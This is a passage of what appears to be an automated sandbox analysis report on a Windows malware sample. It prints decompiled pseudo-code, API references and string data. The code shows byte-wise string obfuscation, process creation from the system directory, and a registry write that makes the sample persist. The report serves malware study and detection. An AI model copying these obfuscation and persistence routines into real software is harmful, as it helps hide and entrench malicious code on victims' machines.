				_v115 = 0x30;
				_v114 = 0x70;
				_v113 = 0x9e;
				_v112 = 0x5a;
				_v111 = 0x4c;
				_v110 = 0xd3;
				_v109 = 0x82;
				_v107 = 0x90;
				_v106 = 0x73;
				_v84.cb = 0x27;
				_v83 = 0x38;
				_v82 = 0xe5;
				_v81 = 0x56;
				_v84.lpReserved = 0x22;
				_v79 = 0xbd;
				_v78 = 8;
				_v84.lpDesktop = 0x14;
				_v75 = 0xa0;
				_v74 = 0xe1;
				_v73 = 8;
				_v84.lpTitle = 0xc1;
				_v71 = 0x8d;
				_v70 = 0xdf;
				_v69 = 0xef;
				_v84.dwX = 0x6f;
				_v67 = 0xb8;
				_v66 = 0x2e;
				_v65 = 0x7a;
				_v84.dwY = 0x85;
				_v63 = 0xe8;
				_v62 = 6;
				_v61 = 0x9f;
				_v84.dwXSize = 0x28;
				_v59 = 0xce;
				_v58 = 0xec;
				_v57 = 9;
				_v84.dwYSize = 0x44;
				_v55 = 5;
				_v54 = 0xf5;
				_v53 = 0x96;
				_v84.dwXCountChars = 0xdf;
				_v51 = 0xe7;
				_v50 = 0x92;
				_v49 = 0xb5;
				_v84.dwYCountChars = 0xea;
				_v47 = 0xed;
				_v46 = 0x8d;
				_t169 = 0;
				do {
					 *((char*)(_t261 + _t169 + 0x24)) =  *((intOrPtr*)(_t261 + _t169 + 0x24)) +  *((intOrPtr*)(_t261 + _t169 + 0x60));
					 *((char*)(_t261 + _t169 + 0x25)) =  *((intOrPtr*)(_t261 + _t169 + 0x25)) +  *((intOrPtr*)(_t261 + _t169 + 0x61));
					 *((char*)(_t261 + _t169 + 0x26)) =  *((intOrPtr*)(_t261 + _t169 + 0x26)) +  *((intOrPtr*)(_t261 + _t169 + 0x62));
					_t169 = _t169 + 3;
					_t252 = _t252 + 0x147;
				} while (_t169 < 0x27);
				 *0x431f38 = _t252;
				_t205 = HeapAlloc(GetProcessHeap(), 8, 0x104);
				memset( &_v84, 0, 0x11 << 2);
				_v84.cb = 0x44;
				GetSystemDirectoryA(_t205, 0x104);
				_t240 = _t205 - 1;
				do {
					_t175 =  *((intOrPtr*)(_t240 + 1));
					_t240 = _t240 + 1;
				} while (_t175 != 0);
				_t232 =  *0x42e308; // 0x5c
				_t176 =  &_v104;
				 *_t240 = _t232;
				_t255 = _t176;
				do {
					_t215 =  *_t176;
					_t176 = _t176 + 1;
				} while (_t215 != 0);
				_t177 = _t176 - _t255;
				_t242 = _t205 - 1;
				do {
					_t216 =  *(_t242 + 1);
					_t242 = _t242 + 1;
				} while (_t216 != 0);
				_t218 = _t177 >> 2;
				memcpy(_t255 + _t218 + _t218, _t255, memcpy(_t242, _t255, _t218 << 2) & 0x00000003);
				_t256 = _v168;
				memset( &_v84, 0, 0x11 << 2);
				_v84.cb = 0x44;
				if( *((intOrPtr*)(_t256 + 0x3c)) == 0 ||  *((intOrPtr*)(_t256 + 0x40)) != 0) {
					if( *((intOrPtr*)(_t256 + 0x9c)) == 0 ||  *((intOrPtr*)(_t256 + 0xa0)) != 0) {
						goto L19;
					} else {
						goto L14;
					}
				} else {
					L14:
					if( *((intOrPtr*)(_t256 + 0x148)) == 0) {
						 *((intOrPtr*)(_t256 + 0x148)) = CreateEventA(0, 1, 0,  &_v144);
					}
					if( *((intOrPtr*)(_t256 + 0x160)) == 0 && CreateProcessA(_t205, 0, 0, 0, 1, 0, 0, 0,  &_v84,  &_v164) != 0) {
						 *((intOrPtr*)(_t256 + 0x160)) = _v164.dwProcessId;
						CloseHandle(_v164);
						CloseHandle(_v164.hThread);
					}
					L19:
					HeapFree(GetProcessHeap(), 0, _t205);
					return E00424873(1, _v8);
				}
			}

0x0041f256
0x0041f25c
0x0041f263
0x0041f26a
0x0041f271
0x0041f27c
0x0041f27e
0x0041f283
0x0041f287
0x0041f28b
0x0041f290
0x0041f295
0x0041f299
0x0041f29d
0x0041f2a2
0x0041f2a7
0x0041f2ab
0x0041f2b0
0x0041f2b5
0x0041f2ba
0x0041f2bf
0x0041f2c4
0x0041f2c9
0x0041f2ce
0x0041f2d3
0x0041f2d8
0x0041f2dd
0x0041f2e2
0x0041f2e7
0x0041f2ec
0x0041f2f1
0x0041f2f5
0x0041f2fa
0x0041f2ff
0x0041f304
0x0041f309
0x0041f30e
0x0041f313
0x0041f318
0x0041f31d
0x0041f322
0x0041f327
0x0041f32b
0x0041f32f
0x0041f330
0x0041f335
0x0041f339
0x0041f33d
0x0041f341
0x0041f347
0x0041f34d
0x0041f353
0x0041f359
0x0041f35d
0x0041f363
0x0041f368
0x0041f36d
0x0041f372
0x0041f377
0x0041f37b
0x0041f380
0x0041f385
0x0041f38a
0x0041f38f
0x0041f394
0x0041f399
0x0041f39e
0x0041f3a3
0x0041f3a7
0x0041f3ac
0x0041f3b1
0x0041f3b6
0x0041f3bb
0x0041f3bf
0x0041f3c4
0x0041f3c9
0x0041f3ce
0x0041f3d3
0x0041f3d8
0x0041f3dd
0x0041f3e2
0x0041f3e7
0x0041f3ec
0x0041f3f1
0x0041f3f6
0x0041f3fb
0x0041f400
0x0041f405
0x0041f40a
0x0041f40f
0x0041f414
0x0041f419
0x0041f41e
0x0041f423
0x0041f428
0x0041f42d
0x0041f432
0x0041f437
0x0041f43b
0x0041f43f
0x0041f444
0x0041f449
0x0041f44e
0x0041f453
0x0041f458
0x0041f45d
0x0041f462
0x0041f467
0x0041f46c
0x0041f471
0x0041f476
0x0041f47b
0x0041f47f
0x0041f484
0x0041f488
0x0041f48d
0x0041f492
0x0041f499
0x0041f4a1
0x0041f4a9
0x0041f4b1
0x0041f4b9
0x0041f4c1
0x0041f4c8
0x0041f4d0
0x0041f4e2
0x0041f4ec
0x0041f4fe
0x0041f502
0x0041f505
0x0041f509
0x0041f515
0x0041f529
0x0041f53b
0x0041f53e
0x0041f546
0x0041f54e
0x0041f550
0x0041f550
0x0041f553
0x0041f554
0x0041f558
0x0041f55f
0x0041f563
0x0041f566
0x0041f568
0x0041f568
0x0041f56a
0x0041f56b
0x0041f571
0x0041f573
0x0041f574
0x0041f574
0x0041f577
0x0041f578
0x0041f57e
0x0041f588
0x0041f58a
0x0041f599
0x0041f5a0
0x0041f5a8
0x0041f5b9
0x00000000
0x00000000
0x00000000
0x00000000
0x0041f5c5
0x0041f5c5
0x0041f5cd
0x0041f5e0
0x0041f5e0
0x0041f5ee
0x0041f61b
0x0041f628
0x0041f62f
0x0041f62f
0x0041f631
0x0041f63b
0x0041f658
0x0041f658

APIs

GetProcessHeap.KERNEL32(00000008,00000104), ref: 0041F51C
HeapAlloc.KERNEL32(00000000), ref: 0041F523
GetSystemDirectoryA.KERNEL32 ref: 0041F546
CreateEventA.KERNEL32(00000000,00000001,00000000,00000054), ref: 0041F5DA
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,00000014), ref: 0041F609
CloseHandle.KERNEL32(00000014), ref: 0041F628
CloseHandle.KERNEL32(00000022), ref: 0041F62F
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041F634
HeapFree.KERNEL32(00000000), ref: 0041F63B

Strings

", xrefs: 0041F2E2
p, xrefs: 0041F3D3
s, xrefs: 0041F3F6
), xrefs: 0041F2B0
`, xrefs: 0041F2DD
;, xrefs: 0041F31D
o, xrefs: 0041F444
*, xrefs: 0041F3B1
, xrefs: 0041F3C9
G@,, xrefs: 0041F25C
., xrefs: 0041F44E
N, xrefs: 0041F38F
N, xrefs: 0041F2BF
0, xrefs: 0041F3CE
P, xrefs: 0041F2A2
8, xrefs: 0041F400
E, xrefs: 0041F2C4
T, xrefs: 0041F363
D, xrefs: 0041F47F
v, xrefs: 0041F3C4
T, xrefs: 0041F27E
*, xrefs: 0041F313
D, xrefs: 0041F53E
L, xrefs: 0041F3E2
(, xrefs: 0041F46C
S, xrefs: 0041F2AB
V, xrefs: 0041F40A
S, xrefs: 0041F37B
D, xrefs: 0041F2D3
z, xrefs: 0041F453
Z, xrefs: 0041F3DD
", xrefs: 0041F40F
E, xrefs: 0041F394
D, xrefs: 0041F5A0
, xrefs: 0041F318
i, xrefs: 0041F3BF
), xrefs: 0041F380

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$Process$CloseCreateHandle$AllocDirectoryEventFreeSystem
String ID: $ $"$"$($)$)$*$*$.$0$8$;$D$D$D$D$E$E$G@,$L$N$N$P$S$S$T$T$V$Z$`$i$o$p$s$v$z
API String ID: 1999696495-3245096188
Opcode ID: 738ece0ca0369f4287c7408b09edaf122eaf261e57d7ddf3076aad516e63fadf
Instruction ID: 6417ec356ac032fdf8ba3c7335fdffbff661ba0545f4a4a4b03294bf4e60ec5a
Opcode Fuzzy Hash: 738ece0ca0369f4287c7408b09edaf122eaf261e57d7ddf3076aad516e63fadf
Instruction Fuzzy Hash: 40D1062110C7C19AD322CB3C984878FBFD15BA7618F584A9DF1E44B3E2C6A5854AC76B

Uniqueness

Uniqueness Score: -1.00%

Function 00412C90, Relevance: 77.2, APIs: 3, Strings: 41, Instructions: 189
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00412C90(void* __ebx, void* __esi) {
				intOrPtr _v4;
				char _v264;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				int _v388;
				int _v392;
				void* _v396;
				intOrPtr _t145;
				int* _t147;
				void* _t153;
				int* _t182;
				void** _t184;

				_t184 =  &_v396;
				_t145 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t145;
				_v365 = 0x35;
				_v360 = 0x35;
				_v372 = 0x27;
				_v371 = 0xdf;
				_v370 = 0x80;
				_v369 = 0x2a;
				_v368 = 5;
				_v367 = 0xcb;
				_v366 = 0xa3;
				_v364 = 0x92;
				_v363 = 0xe6;
				_v362 = 0x7d;
				_v361 = 0xc7;
				_v359 = 0x64;
				_v358 = 0x14;
				_v357 = 0x23;
				_v356 = 0xd4;
				_v355 = 0x31;
				_v354 = 0xe8;
				_v353 = 0xb3;
				_v352 = 0xad;
				_v351 = 0x5b;
				_v350 = 0x4d;
				_v349 = 0xd2;
				_v348 = 0x8f;
				_v347 = 0x9f;
				_v346 = 0xcf;
				_v345 = 0x4a;
				_v344 = 0x68;
				_v343 = 0x94;
				_v342 = 0x3e;
				_v341 = 0xb5;
				_v340 = 0x2a;
				_v339 = 0x4f;
				_v338 = 0xd4;
				_v337 = 0x2c;
				_v336 = 0x63;
				_v335 = 0xee;
				_v334 = 0xab;
				_v333 = 0x53;
				_v332 = 0x17;
				_v331 = 0x56;
				_v330 = 9;
				_v329 = 0x3b;
				_v328 = 0x30;
				_v327 = 0x2a;
				_v312 = 0x2c;
				_v311 = 0x70;
				_v310 = 0xc6;
				_v309 = 0x2a;
				_v308 = 0x52;
				_v307 = 0x76;
				_v306 = 0xaf;
				_v305 = 0x10;
				_v304 = 0xca;
				_v303 = 0x67;
				_v302 = 0xec;
				_v301 = 0x9c;
				_v300 = 0x3d;
				_v299 = 0xb;
				_v298 = 0x5f;
				_v297 = 0x4c;
				_v296 = 0x92;
				_v295 = 0x43;
				_v294 = 0x74;
				_v293 = 0xa4;
				_v292 = 0xbc;
				_v291 = 0x13;
				_v290 = 0x17;
				_v289 = 0x9d;
				_v288 = 0xe8;
				_v287 = 0xd4;
				_v286 = 0x8d;
				_v285 = 0xf9;
				_v284 = 0xd;
				_v283 = 0xde;
				_v282 = 0x34;
				_v281 = 0xb0;
				_v280 = 0x44;
				_v279 = 0x25;
				_v278 = 0x82;
				_v277 = 0x39;
				_v276 = 0xf;
				_v275 = 0x85;
				_v274 = 0xbe;
				_v273 = 0x1c;
				_v272 = 0x57;
				_v271 = 6;
				_v270 = 0x49;
				_v269 = 0x3a;
				_v268 = 0x3e;
				_v267 = 0xd6;
				_t147 = 0;
				do {
					 *((char*)(_t184 + _t147 + 0x1c)) =  *((intOrPtr*)(_t184 + _t147 + 0x1c)) +  *((intOrPtr*)(_t184 + _t147 + 0x58));
					 *((char*)(_t184 + _t147 + 0x1d)) =  *((intOrPtr*)(_t184 + _t147 + 0x1d)) +  *((intOrPtr*)(_t184 + _t147 + 0x59));
					_t147 = _t147 + 2;
				} while (_t147 < 0x2e);
				if(RegOpenKeyExA(0x80000002,  &_v372, 0, 0xf003f,  &_v396) != 0) {
					return E00424873(0, _v4);
				} else {
					_v374 = 0xc4;
					_v314 = 0xc4;
					_v392 = 0x104;
					_v384 = 0xf2;
					_v383 = 0x65;
					_v382 = 0xa8;
					_v381 = 0x30;
					_v380 = 8;
					_v379 = 0x60;
					_v378 = 0x79;
					_v377 = 0x34;
					_v376 = 0xec;
					_v375 = 0xd4;
					_v324 = 0xa1;
					_v323 = 0x15;
					_v322 = 0xd1;
					_v321 = 0x63;
					_v320 = 0x7f;
					_v319 = 5;
					_v318 = 0x1c;
					_v317 = 0x44;
					_v316 = 0x89;
					_v315 = 0xa6;
					_t153 = 0;
					do {
						 *(_t184 + _t153 + 0x10) =  *(_t184 + _t153 + 0x10) ^  *(_t184 + _t153 + 0x4c);
						_t153 = _t153 + 1;
					} while (_t153 < 0xb);
					_t182 = 0;
					if(RegQueryValueExA(_v396,  &_v384, 0,  &_v388,  &_v264,  &_v392) == 0) {
						_t182 = 1;
					}
					RegCloseKey(_v396);
					return E00424873(_t182, _v4);
				}
			}

0x00412c90
0x00412c96
0x00412c9d
0x00412ca9
0x00412cad
0x00412cb5
0x00412cba
0x00412cbf
0x00412cc4
0x00412cc8
0x00412ccd
0x00412cd2
0x00412cd7
0x00412cdc
0x00412ce1
0x00412ce6
0x00412ceb
0x00412cf0
0x00412cf5
0x00412cfa
0x00412cfe
0x00412d03
0x00412d08
0x00412d0d
0x00412d12
0x00412d17
0x00412d1c
0x00412d21
0x00412d26
0x00412d2b
0x00412d30
0x00412d35
0x00412d3a
0x00412d3f
0x00412d44
0x00412d49
0x00412d4d
0x00412d52
0x00412d56
0x00412d5a
0x00412d5f
0x00412d64
0x00412d69
0x00412d6e
0x00412d72
0x00412d77
0x00412d7c
0x00412d81
0x00412d86
0x00412d8a
0x00412d8e
0x00412d93
0x00412d98
0x00412d9c
0x00412da1
0x00412da6
0x00412dab
0x00412db0
0x00412db5
0x00412dba
0x00412dbf
0x00412dc4
0x00412dc9
0x00412dce
0x00412dd3
0x00412dd8
0x00412ddd
0x00412de2
0x00412de7
0x00412dec
0x00412df1
0x00412df6
0x00412dfa
0x00412dff
0x00412e04
0x00412e08
0x00412e0d
0x00412e12
0x00412e17
0x00412e1c
0x00412e21
0x00412e26
0x00412e2b
0x00412e30
0x00412e35
0x00412e3a
0x00412e3f
0x00412e44
0x00412e49
0x00412e4e
0x00412e56
0x00412e5e
0x00412e66
0x00412e6e
0x00412e76
0x00412e7e
0x00412e80
0x00412e8e
0x00412e98
0x00412e9c
0x00412e9f
0x00412ec2
0x00412fba
0x00412ec8
0x00412eca
0x00412ece
0x00412ed2
0x00412eda
0x00412edf
0x00412ee4
0x00412ee9
0x00412eee
0x00412ef3
0x00412ef8
0x00412efd
0x00412f02
0x00412f07
0x00412f0b
0x00412f10
0x00412f15
0x00412f1a
0x00412f1f
0x00412f24
0x00412f29
0x00412f2e
0x00412f33
0x00412f38
0x00412f3d
0x00412f40
0x00412f4a
0x00412f4e
0x00412f4f
0x00412f6b
0x00412f7c
0x00412f7e
0x00412f7e
0x00412f88
0x00412fa4
0x00412fa4

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,00000001), ref: 00412EBA
RegQueryValueExA.ADVAPI32(000000F2,00000092,00000000,000000EC,?,?,00000000), ref: 00412F74
RegCloseKey.ADVAPI32(00000104), ref: 00412F88

Strings

c, xrefs: 00412D5A
0, xrefs: 00412EE9
1, xrefs: 00412CFE
M, xrefs: 00412D17
d, xrefs: 00412CEB
S, xrefs: 00412D69
%, xrefs: 00412E2B
`, xrefs: 00412EF3
}, xrefs: 00412CE1
W, xrefs: 00412E4E
D, xrefs: 00412E26
=, xrefs: 00412DC4
G@,, xrefs: 00412C96
;, xrefs: 00412D7C
R, xrefs: 00412D9C
I, xrefs: 00412E5E
>, xrefs: 00412D3F
e, xrefs: 00412EDF
9, xrefs: 00412E35
D, xrefs: 00412F2E
:, xrefs: 00412E66
4, xrefs: 00412EFD
t, xrefs: 00412DE2
C, xrefs: 00412DDD
4, xrefs: 00412E1C
O, xrefs: 00412D4D
>, xrefs: 00412E6E
0, xrefs: 00412D81
c, xrefs: 00412F1A
', xrefs: 00412CB5
v, xrefs: 00412DA1
p, xrefs: 00412D8E
g, xrefs: 00412DB5
h, xrefs: 00412D35
L, xrefs: 00412DD3
_, xrefs: 00412DCE
#, xrefs: 00412CF5
[, xrefs: 00412D12
V, xrefs: 00412D72
y, xrefs: 00412EF8
J, xrefs: 00412D30

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: #$%$'$0$0$1$4$4$9$:$;$=$>$>$C$D$D$G@,$I$J$L$M$O$R$S$V$W$[$_$`$c$c$d$e$g$h$p$t$v$y$}
API String ID: 3677997916-3462375927
Opcode ID: 805f5db3b6766ee56b7c3c7fc3f70b7fb85de0509d2b3a5550262d5443ef15e8
Instruction ID: 3f64c0876ea013b4995e57e445dd95fb29515ce67b52a393eb856a41c12e0995
Opcode Fuzzy Hash: 805f5db3b6766ee56b7c3c7fc3f70b7fb85de0509d2b3a5550262d5443ef15e8
Instruction Fuzzy Hash: 80A1B32110D7C199D322C67C984874FFFD51BA7228F584A9DF1E44B3E3C2AA8649C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00412FC0, Relevance: 68.4, APIs: 6, Strings: 33, Instructions: 167
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00412FC0(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				intOrPtr _v4;
				char _v264;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				long _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				intOrPtr _t119;
				void* _t127;
				int _t132;
				void** _t157;

				_t119 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t119;
				if(E00412C90(__ebx, __esi) != 0) {
					L5:
					return E00424873(_t120, _v4);
				}
				_v356 = 0xf;
				_v351 = 0xf;
				_v357 = 0xd2;
				_v348 = 0xaf;
				_v347 = 0xd2;
				_v340 = 0xaf;
				_v344 = 0xbb;
				_v339 = 0xbd;
				_v333 = 0x36;
				_v320 = 0xbb;
				_v305 = 0x36;
				_v299 = 0xbd;
				_v360 = 0xf5;
				_v359 = 0x5c;
				_v358 = 0xf1;
				_v355 = 0x3f;
				_v354 = 0x32;
				_v353 = 0x73;
				_v352 = 0x38;
				_v350 = 0xa3;
				_v349 = 0xce;
				_v346 = 0x95;
				_v345 = 0;
				_v343 = 0x9d;
				_v342 = 0xed;
				_v341 = 0xc2;
				_v338 = 0x23;
				_v337 = 0x50;
				_v336 = 0x40;
				_v335 = 0x18;
				_v334 = 0xba;
				_v332 = 0xb0;
				_v331 = 0xed;
				_v330 = 0x8a;
				_v329 = 0x5e;
				_v328 = 0x33;
				_v327 = 0x92;
				_v326 = 0x2c;
				_v325 = 0x10;
				_v324 = 8;
				_v323 = 0xd0;
				_v322 = 0xd3;
				_v321 = 0x30;
				_v319 = 0xc;
				_v318 = 1;
				_v317 = 0xfc;
				_v316 = 0x8b;
				_v315 = 0xd8;
				_v312 = 0xa6;
				_v311 = 0x13;
				_v310 = 0xb7;
				_v309 = 0x86;
				_v308 = 0x58;
				_v307 = 0x7e;
				_v306 = 0x60;
				_v304 = 0x64;
				_v303 = 0x42;
				_v302 = 0xca;
				_v301 = 0xad;
				_v300 = 0xdd;
				_v298 = 0xe6;
				_v297 = 0x6f;
				_v296 = 0xdd;
				_v295 = 0xe9;
				_v294 = 0xb1;
				_v293 = 0x95;
				_v292 = 0xc6;
				_v291 = 0xd3;
				_v290 = 0x47;
				_v289 = 0x3f;
				_v288 = 0x37;
				_v287 = 0x6b;
				_v286 = 0xe6;
				_v279 = 0xe6;
				_v278 = 0x7a;
				_v276 = 0x7a;
				_v285 = 0x75;
				_v284 = 0xc5;
				_v283 = 0x9f;
				_v282 = 0xf8;
				_v281 = 0x3b;
				_v280 = 0x5d;
				_v277 = 0x75;
				_v275 = 0xa3;
				_v274 = 0xba;
				_v273 = 0x5f;
				_v272 = 0xd5;
				_v271 = 0x50;
				_v270 = 0x53;
				_v269 = 0x89;
				_v268 = 0xe5;
				_v267 = 0xd8;
				_t127 = 0;
				do {
					 *(_t157 + _t127 + 0xc) =  *(_t157 + _t127 + 0xc) ^  *(_t157 + _t127 + 0x3c);
					 *(_t157 + _t127 + 0xd) =  *(_t157 + _t127 + 0xd) ^  *(_t157 + _t127 + 0x3d);
					_t127 = _t127 + 2;
				} while (_t127 < 0x2e);
				GetModuleFileNameA(0,  &_v264, 0x104);
				lstrcatA( &_v264, " s");
				_t120 = RegOpenKeyExA(0x80000002,  &_v360, 0, 0xf003f, _t157);
				if(_t120 == 0) {
					_v368 = 0x74;
					_v367 = 0x73;
					_v366 = 0x65;
					_v365 = 0x72;
					_v364 = 0x76;
					_v363 = _t120;
					_t132 = lstrlenA( &_v264);
					_t117 =  &_v368; // 0x38
					RegSetValueExA( *_t157, _t117, 0, 1,  &_v264, _t132);
					_t120 = RegCloseKey( *_t157);
				}
				goto L5;
			}

0x00412fc6
0x00412fcb
0x00412fd9
0x00413260
0x00413272
0x00413272
0x00412fe1
0x00412fe5
0x00412fed
0x00412ff1
0x00412ff5
0x00412ffb
0x00413003
0x00413007
0x0041300b
0x0041300f
0x00413013
0x00413019
0x00413021
0x00413026
0x0041302b
0x00413030
0x00413035
0x0041303a
0x0041303f
0x00413044
0x00413049
0x0041304e
0x00413053
0x00413058
0x0041305d
0x00413062
0x00413067
0x0041306c
0x00413071
0x00413076
0x0041307b
0x00413080
0x00413085
0x0041308a
0x0041308f
0x00413094
0x00413099
0x0041309e
0x004130a3
0x004130a8
0x004130ad
0x004130b2
0x004130b7
0x004130bc
0x004130c1
0x004130c6
0x004130cb
0x004130d0
0x004130d4
0x004130d9
0x004130de
0x004130e3
0x004130e8
0x004130ed
0x004130f2
0x004130f7
0x004130fc
0x00413101
0x00413106
0x0041310b
0x0041310f
0x00413113
0x00413118
0x0041311c
0x00413121
0x00413126
0x0041312b
0x00413130
0x00413135
0x0041313a
0x0041313f
0x00413144
0x00413149
0x0041314d
0x00413155
0x00413159
0x0041315d
0x00413161
0x00413166
0x0041316b
0x00413170
0x00413175
0x0041317a
0x0041317e
0x00413183
0x00413188
0x0041318d
0x00413192
0x00413197
0x0041319c
0x004131a1
0x004131a6
0x004131aa
0x004131b0
0x004131be
0x004131c8
0x004131cc
0x004131cf
0x004131e0
0x004131f0
0x0041320b
0x00413213
0x0041321a
0x0041321f
0x00413224
0x00413229
0x0041322e
0x00413233
0x00413237
0x0041324a
0x00413250
0x0041325a
0x0041325a
0x00000000

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004131E0
lstrcatA.KERNEL32(?,0042E3FC), ref: 004131F0
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F), ref: 0041320B
lstrlenA.KERNEL32(?), ref: 00413237
RegSetValueExA.ADVAPI32(?,8s2?,00000000,00000001,?,00000000), ref: 00413250
RegCloseKey.ADVAPI32(?,?,8s2?,00000000,00000001,?,00000000), ref: 0041325A

Strings

\, xrefs: 00413026
#, xrefs: 00413067
,, xrefs: 0041309E
], xrefs: 00413175
G, xrefs: 00413135
?, xrefs: 00413030
k, xrefs: 00413144
s, xrefs: 0041321F
8s2?, xrefs: 0041324A, 0041324E
s, xrefs: 0041303A
7, xrefs: 0041313F
2, xrefs: 00413035
G@,, xrefs: 00412FC6
t, xrefs: 0041321A
P, xrefs: 0041306C
`, xrefs: 004130F2
0, xrefs: 004130B7
v, xrefs: 0041322E
r, xrefs: 00413229
X, xrefs: 004130E8
@, xrefs: 00413071
3, xrefs: 00413094
;, xrefs: 00413170
_, xrefs: 00413188
S, xrefs: 00413197
B, xrefs: 004130FC
d, xrefs: 004130F7
?, xrefs: 0041313A
e, xrefs: 00413224
P, xrefs: 00413192
^, xrefs: 0041308F
o, xrefs: 00413113
~, xrefs: 004130ED

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CloseFileModuleNameOpenValuelstrcatlstrlen
String ID: #$,$0$2$3$7$8s2?$;$?$?$@$B$G$G@,$P$P$S$X$\$]$^$_$`$d$e$k$o$r$s$s$t$v$~
API String ID: 2804959344-517758727
Opcode ID: 5fb862093511ecca7038c8434d92067763cea830cdae3e94af674eb022a143b1
Instruction ID: 3ee603018d8f15d3993d5d5bb64ccc4771c2b301eb19da9cd57cd54bae0688a3
Opcode Fuzzy Hash: 5fb862093511ecca7038c8434d92067763cea830cdae3e94af674eb022a143b1
Instruction Fuzzy Hash: 2091B62100D7C299D322D77C584864FFFE15BA7228F485A9DF1E45B3E3C2A98249C767

Uniqueness

Uniqueness Score: -1.00%

Function 00422EF0, Relevance: 65.0, APIs: 7, Strings: 30, Instructions: 226
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00422EF0() {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v544;
				char _v545;
				char _v546;
				char _v547;
				char _v548;
				char _v549;
				char _v550;
				char _v551;
				char _v552;
				char _v553;
				char _v554;
				char _v555;
				char _v556;
				char _v557;
				char _v558;
				char _v559;
				char _v560;
				char _v564;
				char _v565;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
